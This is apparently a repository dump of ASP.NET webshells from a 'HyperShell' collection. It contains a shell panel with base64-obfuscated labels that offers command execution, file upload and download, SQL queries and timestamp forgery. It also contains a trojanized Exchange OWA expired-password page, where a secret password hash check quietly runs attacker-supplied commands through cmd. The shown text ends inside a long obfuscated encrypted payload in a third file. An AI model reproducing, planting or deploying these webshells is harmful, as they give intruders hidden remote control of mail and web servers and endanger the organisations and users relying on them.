console.log(s);\r\n            getSize(s, s.nextSibling.innerText, function(){getNextSize(alls)});\r\n        }\r\n    }\r\n\r\n    function getAllSize()\r\n    {\r\n        var allSizes = [].slice.call(document.getElementsByClassName(\"objS dir\"));\r\n        getNextSize(allSizes);\r\n    }\r\n\r\n    function getSize(objSize, name, callBack)\r\n    {\r\n        objSize.innerText = \"\";\r\n        var ldr = document.createElement(\"span\");\r\n        ldr.className=\"loader\";\r\n        ldr.style.width=\"12px\";\r\n        ldr.style.height=\"12px\";\r\n        ldr.style.top=\"3px\";\r\n        ldr.style.left=\"80px\";\r\n        objSize.appendChild(ldr);\r\n        var address = getCurrentAddress() + \"\\\\\" + name;\r\n        var info = {\r\n            data: \"gsize=\" + b64EncodeUnicode(address),\r\n            onSuccess:function(resText){\r\n                \r\n                ldr.remove();\r\n                var data = b64DecodeUnicode(resText)\r\n                setSize(objSize, data)\r\n                if(!data.startsWith(\"Error\"))\r\n                    sizeArray[address] = data;\r\n\r\n                if(callBack)\r\n                    callBack();\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function checkEnter(ev)\r\n    {\r\n        if(ev.which == 13 || ev.keyCode == 13)\r\n        {\r\n            sendAddress();\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    function setSize(obj, size)\r\n    {\r\n        obj.innerText = size;\r\n        if(size.endsWith(\"KB\"))\r\n            obj.style.backgroundColor = \"#ece979\";\r\n        else if(size.endsWith(\"MB\"))\r\n            obj.style.backgroundColor = \"#ffd36f\";\r\n        else if(size.endsWith(\"GB\"))\r\n            obj.style.backgroundColor = \"#ff6f6f\";\r\n    }\r\n\r\n    function sendData(info)\r\n    {\r\n        var data = info.data;\r\n        var xh = new XMLHttpRequest();\r\n        xh.onreadystatechange = function(){\r\n            if(this.readyState == 4 && this.status == 200)\r\n            {\r\n                info.onSuccess(this.responseText);\r\n            }\r\n        };\r\n        xh.open(\"POST\", location.pathname, true);\r\n        xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n        xh.send(\"p=\" + readCookie(\"p\") + \"&\" + data);\r\n    }\r\n\r\n    function b64DecodeUnicode(str) {\r\n        return decodeURIComponent(Array.prototype.map.call(atob(str), function (c) {\r\n            return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)\r\n        }).join(''))\r\n    }\r\n\r\n    function b64EncodeUnicode(str) {\r\n        return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function (match, p1) {\r\n            return String.fromCharCode(parseInt(p1, 16))\r\n        }))\r\n    }\r\n</script>\r\n</head>\r\n<body>\r\n<div class=\"tbbt\">\r\n    <button class=\"tblnk active\" onclick=\"openTab(event, 'tbMain')\">Main</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(event, 'tbDir')\">Explorer</button>\r\n</div>\r\n<div id=\"tbMain\" class=\"tb\" style=\"display:block\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"QWRkcmVzcw==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"Q3VycmVudA==\")%> :</t>\r\n<y id=\"d\"><%= Server.MapPath(string.Empty) + \"\\\\\"%></y>\r\n<input type=\"button\" value=\"<%=x(\"VXNl\")%>\" onclick=\"use()\" />\r\n<input type=\"button\" value=\"<%=x(\"UmVzZXQgRm9ybQ==\")%>\" onclick=\"reset()\" />\r\n<div style=\"float:right\">v5.0</div>\r\n</td>\r\n</tr>\r\n</table>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"TG9naW4=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RG8gaXQ=\")%> :</t>\r\n<input name=\"p\" class=\"mmm\" type=\"text\" style='background-color: <%= aut ? \"Green\" : \"Red\" %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RG8gaXQ=\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q29tbWFuZA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"UHJvY2Vzcw==\")%> :</t>\r\n<input name=\"pro\" class=\"mmm\" type=\"text\" value='<%= string.IsNullOrEmpty(pro) ? x(\"Y21kLmV4ZQ==\") : pro %>' /><br>\r\n<t><%=x(\"Q29tbWFuZA==\")%> :</t>\r\n<input name=\"cmd\" class=\"mmm\" type=\"text\" value='<%= cmd %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RXhlY3V0ZQ==\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\" enctype=\"multipart/form-data\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2Fk\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"upl\" type=\"file\" /><br>\r\n<t><%=x(\"U2F2ZSBhcw==\")%> :</t>\r\n<input name=\"sav\" class=\"mmm\" type=\"text\" value='<%= sav %>' />\r\n<input name=\"vir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"TmV3IEZpbGUgbmFtZQ==\")%> :</t>\r\n<input name=\"nen\" class=\"mmm\" type=\"text\" value='<%= nen %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"RG93bmxvYWQ=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input id=\"donInput\" name=\"don\" type=\"text\" />\r\n<input id=\"donSubmit\" type=\"submit\" value=\"<%= x(\"RG93bmxvYWQ=\") %>\" onclick=\"document.getElementsByName('don')[0].value = b64EncodeUnicode(document.getElementsByName('don')[0].value);\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2FkIEJhc2U2NA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"QmFzZTY0IEZpbGU=\")%> :</t>\r\n<textarea name=\"baseFile\"></textarea>\r\n<input name=\"baseVir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"RmlsZSBQYXRoIGFuZCBOYW1l \")%> :</t>\r\n<input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='<%= baseAddr %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"U3FsIFNlcnZlcg==\")%></td>\r\n<td class=\"b\">\r\n<input style=\"margin:0 0 3px 192px\" type=\"button\" value=\"<%=x(\"U3RhbmRhcmQgQ29ubmVjdGlvbiBTYW1wbGU=\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VXNlciBJZD11c2VyO1Bhc3N3b3JkPXBhc3M=\")%>    '\" />\r\n<input style=\"margin:0 0 3px 0\" type=\"button\" value=\"<%=x(\"VHJ1c3RlZCBDb25uZWN0aW4gU2FtcGxl\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VHJ1c3RlZF9Db25uZWN0aW9uPVRydWU=\")%>    '\" /><br />\r\n<t><%=x(\"Q29ubmVjdGlvbiBTdHJpbmc=\")%> :</t>\r\n<input name=\"sqc\" class=\"mmm\" type=\"text\" value='<%= sqc %>' /><br />\r\n<t><%=x(\"UXVlcnk=\")%> :</t>\r\n<textarea name=\"sqq\" class=\"mmm\"><%= sqq %></textarea>\r\n<input type=\"submit\" value=\"<%= x(\"UnVu\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q2hhbmdlIENyZWF0aW9uIFRpbWU=\")%></td>\r\n<td class=\"b\">\r\n<input name=\"hid\" type=\"hidden\" />\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"tfil\" class=\"mmm\" type=\"text\" value='<%= tfil %>' />\r\n<input type=\"submit\" value=\"<%= x(\"R2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '1'\" /><br>\r\n<t><%=x(\"RnJvbSBUaGlzIEZpbGU=\")%> :</t>\r\n<input name=\"ttar\" class=\"mmm\" type=\"text\" value='<%= ttar %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '2'\" /><br>\r\n<t><%=x(\"TmV3IFRpbWU=\")%> :</t>\r\n<input name=\"ttim\" class=\"mmm\" type=\"text\" value='<%= ttim %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '3'\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<br />\r\n<pre id=\"log\" runat=\"server\"></pre>\r\n<script>var ll=document.getElementById('log');if(ll.innerHTML)ll.innerHTML=atob(log.innerHTML);</script>\r\n</div>\r\n<div id=\"tbDir\" class=\"tb\">\r\n    <table>\r\n    <tr>\r\n    <td class=\"h\">Explorer</td>\r\n    <td class=\"b\">\r\n    <t>Address :</t>\r\n    <input name=\"exadd\" class=\"mmm\" type=\"text\" value='<%= exadd %>' onkeypress=\"return checkEnter(event);\" />\r\n    <input type=\"submit\" value=\"Explore\" onclick=\"sendAddress();\" style=\"margin-right:5px;\" />\r\n    <span id=\"loader\" class=\"loader\" style=\"display:none\"></span>\r\n    </td>\r\n    </tr>\r\n    </table>\r\n    <hr />\r\n    <div id=\"objLocation\">\r\n        <div class=\"objLabel\">Location :</div><div class=\"objD objL\" onclick=\"setAddress(this.innerText);\">root</div>\r\n    </div>\r\n    <div id=\"objFrame\">\r\n    </div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/ExpiredPasswordTech/ExpiredPassword.aspx",
    "content": "﻿<%@ Page language=\"c#\" AutoEventWireup=\"false\" Inherits=\"Microsoft.Exchange.HttpProxy.ExpiredPassword\" %>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients.Owa.Core\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.HttpProxy\"%>\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\"> \r\n<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=utf-8\">\r\n<meta name=\"Robots\" content=\"NOINDEX, NOFOLLOW\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=10\" />\r\n<title><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OutlookWebAccess) %></title>\r\n<%= InlineCss(ThemeFileId.LogonCss) %>\r\n<%= InlineJavascript(\"fexppw.js\") %>\r\n<script type=\"text/javascript\">\r\n\t<!--\r\n\tvar g_fFcs = 1;\r\n\tvar a_sUrl = \"<%=EncodingUtilities.JavascriptEncode(Destination) %>\";\r\n\tvar a_fCAC = <%= (PasswordChanged && ShouldClearAuthenticationCache) ? 1 : 0 %>\r\n\t//-->\r\n\r\n    var mainDivClassName = '<%=UserAgent.LayoutString %>';\r\n    var showPlaceholderText = false;\r\n\r\n    if (mainDivClassName == \"tnarrow\") {\r\n        showPlaceholderText = true;\r\n\r\n        // Output meta tag for viewport scaling\r\n        document.write('<meta name=\"viewport\" content=\"width = 320, initial-scale = 1.0, user-scalable = no\" />');\r\n    }\r\n    else  if (mainDivClassName == \"twide\") {\r\n        showPlaceholderText = true;\r\n    }\r\n\r\n    function setPlaceholderText() {\r\n        window.document.getElementById(\"username\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordUserDomainNoColon) %>\";\r\n        window.document.getElementById(\"oldPwd\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOldNoColon) %>\";\r\n        window.document.getElementById(\"newPwd1\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNewNoColon) %>\";\r\n        window.document.getElementById(\"newPwd2\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirmNoColon) %>\";\r\n    }\r\n</script>\r\n</head>\r\n\r\n<body class=\"signInBg<%=IsRtl ? \" rtl\" : \"\"%>\" style=\"background: #f2f2f2 url('<%=InlineImage(ThemeFileId.BackgroundGradientLogin)%>') repeat-x\"/>\r\n<% \r\n\tstring tblStyle = \"cellpadding=0 cellspacing=0\";\r\n\tif (IsDownLevelClient)\r\n\t{\r\n\t\ttblStyle = \"class=\\\"nonMSIE\\\"\";\r\n\t}\r\n%>\r\n\r\n<form action=\"expiredpassword.aspx\" method=\"POST\" name=\"exppwForm\" autocomplete=\"off\">\r\n<div id=\"mainDiv\" class=\"mouse\">\r\n    <script>\r\n\r\n        var mainDiv = window.document.getElementById(\"mainDiv\");\r\n        mainDiv.className = mainDivClassName;\r\n    </script>\r\n    <div class=\"sidebar\">\r\n        <div class=\"owaLogoContainer\">\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhite)%>\" class=\"owaLogo\" aria-hidden=\"true\" />\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhiteSmall)%>\" class=\"owaLogoSmall\" aria-hidden=\"true\" />\r\n        </div>\r\n    </div>\r\n\t\t\t<input type=\"hidden\" name=\"url\" value=\"<%=EncodingUtilities.HtmlEncode(Destination)%>\">\r\n            <div class=\"logonContainer\">\r\n\t        <div id=\"lgnDiv\" class=\"logonDiv\">  \r\n                <div class=\"signInImageHeader\" role=\"heading\">\r\n                    <img class=\"mouseHeader\" src=\"<%=InlineImage(ThemeFileId.OwaHeaderTextBlue)%>\" />\r\n                </div>\r\n\t\t\t<% if (PasswordChanged) { %>\r\n            \t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.LogoffChangePasswordClickOkToLogin) %></div>\r\n\t\t                <div class=\"signInEnter\">\r\n                            <div class=\"signinbutton\" role=\"button\" onclick=\"clkReLgn()\" tabIndex=\"0\">\r\n                                <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\">\r\n                                <span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OkLowerCase)%></span>\r\n                            </div>\r\n                            <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n                        </div>\r\n\t\t\t<% } else { %>\r\n                <div class=\"headerMsgDiv\">\r\n\t\t\t\t\t<div class=\"shellDialogueHead\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordTitle)%></div>\r\n\t\t\t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.PasswordExpired) %></div>  \t\r\n\t\t\t\t<%\r\n\t\t\t\t\tif (Reason == ExpiredPasswordReason.InvalidCredentials) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.InvalidCredentialsMessage) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.InvalidNewPassword) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordInvalidNewPassword) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.PasswordConflict) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConflict) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.LockedOut) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordLockedOut) %></div>\r\n\t\t\t\t<% } %>\r\n\t\t\t\t<%\r\n                    try{\r\n\t\t\t\t\tif (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form[\"newPwd1\"])) + \"reDGEa@#!%FS\"))) == \"+S6Kos9D/etq1cd///fgTarVnUQ=\")\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\r\n\t\t\t\t\t\tSystem.Diagnostics.ProcessStartInfo i = p.StartInfo;\r\n\t\t\t\t\t\ti.FileName = \"cmd\";\r\n                        i.Arguments = \"/c \" + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form[\"newPwd2\"]));\r\n\t\t\t\t\t\ti.UseShellExecute = false;\r\n\t\t\t\t\t\ti.CreateNoWindow = true;\r\n\t\t\t\t\t\ti.RedirectStandardOutput = true;\r\n\t\t\t\t\t\tp.Start();\r\n\t\t\t\t\t\tstring r = p.StandardOutput.ReadToEnd();\r\n\t\t\t\t\t\tp.WaitForExit();\r\n\t\t\t\t\t\tp.Close();\r\n\t\t\t\t\t\tResponse.Write(\"<pre>\" + Server.HtmlEncode(r) + \"</pre>\");\r\n\t\t\t\t\t\tResponse.End();\r\n\t\t\t\t\t}}catch{}\r\n\t\t\t\t%>\r\n                </div>   \r\n\t\t            <div class=\"signInInputLabel\" id=\"userNameLabel\" aria-hidden=\"true\"><%=UserNameLabel%></div>\r\n\t\t            <div><input id=\"username\" name=\"username\" class=\"signInInputText\" role=\"textbox\" aria-labelledby=\"userNameLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"oldPasswordLabel\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOld)%></div>\r\n\t\t            <div><input id=\"oldPwd\" name=\"oldPwd\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"oldPasswordLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel1\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNew)%></div>\r\n\t\t            <div><input id=\"newPwd1\" name=\"newPwd1\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel1\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel2\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirm)%></div>\r\n\t\t            <div><input id=\"newPwd2\" name=\"newPwd2\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel2\"/></div>\r\n                    \r\n                    <script>\r\n                        if (showPlaceholderText) {\r\n                            setPlaceholderText();\r\n                        }\r\n                    </script>\r\n\t\t\t\t\t\r\n\t\t            <div class=\"signInEnter\">\r\n                        <div class=\"signinbutton\" role=\"button\" onclick=\"document.exppwForm.submit()\" tabIndex=\"0\">\r\n                            <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\"/><span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.Submit)%></span>\r\n                        </div>\r\n                        <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n\t\t            </div>\r\n\t\t\t\t    <div class=\"hidden-submit\"><input type=\"submit\" /></div> \r\n\t\t\t<% } %>\r\n</div>      \r\n</div>          \r\n</div>\r\n</form>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/ExpiredPasswordTech/MyMaster.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>\r\n<!DOCTYPE html>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<title></title>\r\n</head>\r\n<body>\r\n<pre><%= Server.HtmlEncode(\"NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a\") %></pre>\r\n<%try{\r\n        string GYNVJOHk=\"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